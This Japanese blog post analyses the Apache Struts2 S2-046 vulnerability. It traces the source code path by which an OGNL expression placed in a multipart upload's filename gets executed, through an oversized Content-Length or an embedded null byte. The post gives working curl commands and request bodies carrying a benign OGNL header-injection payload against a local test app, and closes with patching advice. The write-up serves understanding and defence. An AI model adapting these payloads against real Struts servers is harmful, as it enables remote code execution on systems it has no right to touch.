てきとうなメモ

本の感想とか技術メモとか

Struts2の脆弱性(S2-046)

S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。

↓のやつ。

Struts2-046: A new vector - Hewlett Packard Enterprise Community

この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。

  • multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
  • Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
  • マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる

実際にこの脆弱性を確認してみる。

脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。

curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample.txtの中身は

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ヘッダ部分の改行コードは\r\nにする必要があるので注意。

これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

parseの中で以下のprocessUploadが呼ばれる。

    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {

        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {

            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);

isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。

そして、各マルチパートのアイテムを1つずつ処理していく。

FileItemIterator i = servletFileUpload.getItemIterator(request);

// Iterate the file items
while (i.hasNext()) {
    try {
        FileItemStream itemStream = i.next();

        // If the file item stream is a form field, delegate to the
        // field item stream handler
        if (itemStream.isFormField()) {
             processFileItemStreamAsFormField(itemStream);
        }

        // Delegate the file item stream for a file field to the
        // file item stream handler, but delegation is skipped
        // if the requestSizePermitted check failed based on the
        // complete content-size of the request.
        else {

            // prevent processing file field item if request size not allowed.
            // also warn user in the logs.
            if (!requestSizePermitted) {
                addFileSkippedError(itemStream.getName(), request);
                LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                continue;
            }

            processFileItemStreamAsFileField(itemStream, saveDir);
        }
        ...

ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。

addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。

private String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled())
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。

さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。

GitHub - pwntester/S2-046-PoC: S2-046-PoC

こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。

$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample2.txtは先程のsample.txtを少し修正する。

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。

今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。

private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
    // Skip file uploads that don't have a file name - meaning that no file was selected.
    if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
        LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
        return;
    }

itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。

この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。

この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。

こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。

どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。

まあ、WAFに頼るよりかは最新版にした方が良いかな。